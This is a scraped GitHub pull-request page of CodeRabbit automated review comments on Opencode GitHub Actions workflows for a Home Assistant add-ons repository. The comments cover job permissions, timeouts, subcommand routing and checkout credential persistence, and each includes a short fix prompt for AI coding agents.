rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-pr-comment.yml around lines 175 - 181, Update
both reply blocks in the workflow to use the review-comment reply route with the
pull request number and root review comment ID, rather than treating the issue
comment ID as the pull request number. For issue_comment events, use the
issue-comment API endpoint and the appropriate issue comment identifier instead
of the review-comment replies endpoint.
| permissions: | ||
| id-token: write | ||
| contents: read | ||
| pull-requests: write |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Locate the workflow and inspect the relevant sections with line numbers.
git ls-files .github/workflows | sed -n '1,200p'
echo
wc -l .github/workflows/opencode-pr-comment.yml
echo
sed -n '1,220p' .github/workflows/opencode-pr-comment.yml
echo
sed -n '220,420p' .github/workflows/opencode-pr-comment.ymlRepository: dianlight/hassio-addons
Length of output: 17739
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Narrow inspection to the job and any references to the payload fields and permissions.
rg -n "issue_comment|pull_request\.number|issue\.number|contents: write|contents: read|permissions:" .github/workflows/opencode-pr-comment.ymlRepository: dianlight/hassio-addons
Length of output: 1341
Use the issue number here and grant write access for pushes. issue_comment payloads expose github.event.issue.number, not github.event.pull_request.number, so Process 6 will look up the PR with an empty value. It also needs contents: write to make the git push step work.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-pr-comment.yml around lines 308 - 311, Update the
Process 6 workflow references to use github.event.issue.number when looking up
the pull request, and change the permissions block to grant contents: write
instead of read so the git push step succeeds. Preserve the existing
pull-requests: write and id-token permissions.
| review: | ||
| if: >- | ||
| github.event.issue.pull_request && | ||
| github.event.comment.user.login != 'github-actions[bot]' && | ||
| github.event.comment.user.login != 'opencode-agent[bot]' && | ||
| github.event.comment.user.login != 'coderabbitai[bot]' && | ||
| github.event.comment.user.login != 'opencode-maintenance[bot]' && | ||
| contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) && | ||
| github.event.issue.state == 'open' && | ||
| startsWith(github.event.comment.body, '/oc') && | ||
| !contains(github.event.comment.body, '/oc task') && | ||
| !contains(github.event.comment.body, '/oc implement') | ||
| runs-on: ubuntu-latest | ||
| permissions: | ||
| id-token: write | ||
| contents: read | ||
| pull-requests: write | ||
| steps: |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
Add a timeout to the review job.
A stalled external action can occupy this PR’s concurrency group for hours. Add an explicit timeout-minutes, consistent with the issue workflows.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-pr-review.yml around lines 15 - 32, Add an
explicit timeout-minutes setting to the review job alongside runs-on, using the
timeout value established by the issue workflows. Keep the existing job
condition, permissions, and steps unchanged.
| startsWith(github.event.comment.body, '/oc') && | ||
| !contains(github.event.comment.body, '/oc task') && | ||
| !contains(github.event.comment.body, '/oc implement') |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
Route using parsed subcommands, not literal substrings.
/oc task foo, tab-separated commands, or review text merely containing /oc task are misclassified by these contains checks. In the first case, Process 6 and this review can both run. Gate the Opencode step using steps.parse.outputs.SUBCOMMAND instead.
Also applies to: 61-65
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-pr-review.yml around lines 24 - 26, Replace the
literal substring exclusions in the workflow trigger condition with a check
against the parsed subcommand output from steps.parse.outputs.SUBCOMMAND. Ensure
task and implement commands are excluded based on parsed command tokens,
including variable whitespace, while review text containing those phrases does
not affect routing.
6ce655b to
46ee370
Compare
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/opencode-issue-handler.yml:
- Around line 183-184: Update the Process 5 checkout step using actions/checkout
to set persist-credentials to false, while preserving its existing token
environment and Opencode push configuration.
In @.github/workflows/opencode-pr-comment.yml:
- Around line 84-89: Add an actions/checkout step before Process 2 in the job’s
steps, checking out the pull request branch and setting persist-credentials to
false. Keep the existing anomalyco/opencode/github processing flow unchanged.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 9222e79c-336d-4817-8a74-070088a206ed
📒 Files selected for processing (10)
.github/scripts/auth.sh.github/workflows/opencode-implement.yaml.github/workflows/opencode-issue-handler.yml.github/workflows/opencode-pr-comment.yml.github/workflows/opencode-pr-review.yml.github/workflows/opencode-review.yaml.github/workflows/opencode-triage-issue.yaml.github/workflows/opencode-triage-pr.yaml.github/workflows/opencode-triage.yaml.github/workflows/opencode.yml
🚧 Files skipped from review as they are similar to previous changes (8)
- .github/workflows/opencode-triage.yaml
- .github/workflows/opencode.yml
- .github/workflows/opencode-review.yaml
- .github/workflows/opencode-triage-issue.yaml
- .github/workflows/opencode-implement.yaml
- .github/workflows/opencode-triage-pr.yaml
- .github/scripts/auth.sh
- .github/workflows/opencode-pr-review.yml
| - name: Checkout repository | ||
| uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7 |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Locate the workflow and inspect the relevant section with line numbers.
git ls-files .github/workflows/opencode-issue-handler.yml
wc -l .github/workflows/opencode-issue-handler.yml
sed -n '150,230p' .github/workflows/opencode-issue-handler.yml | cat -nRepository: dianlight/hassio-addons
Length of output: 4235
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Inspect surrounding workflow context and search for any explicit git push/auth handling.
sed -n '1,260p' .github/workflows/opencode-issue-handler.yml | cat -n | sed -n '1,260p'
printf '\n--- matches ---\n'
rg -n "persist-credentials|use_github_token|git push|gh api|checkout" .github/workflows/opencode-issue-handler.ymlRepository: dianlight/hassio-addons
Length of output: 12741
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Show the full workflow context around the Process 5 job.
sed -n '1,260p' .github/workflows/opencode-issue-handler.yml | cat -n
printf '\n--- matches ---\n'
rg -n "persist-credentials|use_github_token|git push|gh api|checkout|GITHUB_TOKEN" .github/workflows/opencode-issue-handler.ymlRepository: dianlight/hassio-addons
Length of output: 13060
Set persist-credentials: false on the Process 5 checkout
This checkout leaves the GITHUB_TOKEN in .git/config by default. Process 5 already passes GITHUB_TOKEN and use_github_token: true to Opencode for its own push flow, so persistence here is unnecessary attack surface.
- name: Checkout repository
uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7
+ with:
+ persist-credentials: false📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Checkout repository | |
| uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7 | |
| - name: Checkout repository | |
| uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7 | |
| with: | |
| persist-credentials: false |
🧰 Tools
🪛 zizmor (1.26.1)
[warning] 183-184: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-issue-handler.yml around lines 183 - 184, Update
the Process 5 checkout step using actions/checkout to set persist-credentials to
false, while preserving its existing token environment and Opencode push
configuration.
Source: Linters/SAST tools
46ee370 to
5f2aa3d
Compare
…e '.github/workflows/opencode-pr-review.yml'
…te '.github/workflows/opencode-pr-comment.yml'
…emote '.github/workflows/opencode-issue-handler.yml'
…/workflows/opencode.yml'
…'.github/workflows/opencode-triage.yaml'
…te '.github/workflows/opencode-triage-pr.yaml'
…emote '.github/workflows/opencode-triage-issue.yaml'
…te '.github/workflows/opencode-implement.yaml'
…'.github/workflows/opencode-review.yaml'
5f2aa3d to
64b3810
Compare
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/opencode-pr-comment.yml:
- Around line 85-89: Add issues: write to the job-level permissions blocks for
process-2, process-3, and process-6 in the workflow, alongside the existing
id-token, contents, and pull-requests permissions, so their reactions POST
requests are authorized.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 5bdc60e9-1912-4e74-920f-a7541b084bcf
📒 Files selected for processing (10)
.github/scripts/auth.sh.github/workflows/opencode-implement.yaml.github/workflows/opencode-issue-handler.yml.github/workflows/opencode-pr-comment.yml.github/workflows/opencode-pr-review.yml.github/workflows/opencode-review.yaml.github/workflows/opencode-triage-issue.yaml.github/workflows/opencode-triage-pr.yaml.github/workflows/opencode-triage.yaml.github/workflows/opencode.yml
🚧 Files skipped from review as they are similar to previous changes (8)
- .github/workflows/opencode.yml
- .github/workflows/opencode-implement.yaml
- .github/workflows/opencode-triage-pr.yaml
- .github/workflows/opencode-triage-issue.yaml
- .github/workflows/opencode-review.yaml
- .github/workflows/opencode-triage.yaml
- .github/scripts/auth.sh
- .github/workflows/opencode-pr-review.yml
| permissions: | ||
| id-token: write | ||
| contents: write | ||
| pull-requests: write | ||
| steps: |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf '\n== Workflow outline ==\n'
ast-grep outline .github/workflows/opencode-pr-comment.yml || true
printf '\n== Relevant workflow lines ==\n'
sed -n '70,110p' .github/workflows/opencode-pr-comment.yml
printf '\n---\n'
sed -n '175,215p' .github/workflows/opencode-pr-comment.yml
printf '\n---\n'
sed -n '300,320p' .github/workflows/opencode-pr-comment.yml
printf '\n---\n'
sed -n '400,435p' .github/workflows/opencode-pr-comment.yml
printf '\n== Search for reaction usage ==\n'
rg -n "reactions|issue_comment|createReaction|issue comments|issues: write" .github/workflows . -g '!**/node_modules/**' -g '!**/dist/**' -g '!**/build/**' || trueRepository: dianlight/hassio-addons
Length of output: 9935
🏁 Script executed:
#!/bin/bash
set -euo pipefail
sed -n '1,45p' .github/workflows/opencode-pr-comment.ymlRepository: dianlight/hassio-addons
Length of output: 1733
🌐 Web query:
GitHub Actions job-level permissions override workflow-level permissions unspecified scopes set to none official docs
💡 Result:
In GitHub Actions, when you define a permissions key for a job, that configuration completely overrides any permissions settings defined at the workflow level [1]. The job-level settings do not merge with or inherit from the workflow-level settings [1]. When the permissions key is used—at either the workflow level or the job level—all unspecified permissions are automatically set to none (no access), with the sole exception of the metadata scope, which always retains read access [2][3]. Because job-level permissions replace workflow-level permissions entirely, if you choose to set permissions within a specific job, you must explicitly declare every permission scope that the job requires [1]. Any scope omitted from the job's permissions block will have no access, regardless of what was specified at the workflow level [1][3].
Citations:
- 1: https://adaptive-enforcement-lab.com/secure/github-actions-security/token-permissions/job-scoping/
- 2: "Modifying the permissions for the
GITHUB_TOKEN" should use a callout box for "When thepermissionskey is used, all unspecified permissions are set to no access" github/docs#35810 - 3: https://dev.to/github/the-githubtoken-in-github-actions-how-it-works-change-permissions-customizations-3cgp
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf '\n== Lines 150-220 ==\n'
sed -n '150,220p' .github/workflows/opencode-pr-comment.yml
printf '\n== Lines 260-320 ==\n'
sed -n '260,320p' .github/workflows/opencode-pr-comment.yml
printf '\n== Lines 390-435 ==\n'
sed -n '390,435p' .github/workflows/opencode-pr-comment.ymlRepository: dianlight/hassio-addons
Length of output: 7175
Add issues: write to the reaction jobs. process-2, process-3, and process-6 all POST to /issues/comments/.../reactions, but each job-level permissions block omits issues: write, so those reactions can fail silently behind || true.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-pr-comment.yml around lines 85 - 89, Add issues:
write to the job-level permissions blocks for process-2, process-3, and
process-6 in the workflow, alongside the existing id-token, contents, and
pull-requests permissions, so their reactions POST requests are authorized.





Uh oh!
There was an error while loading. Please reload this page.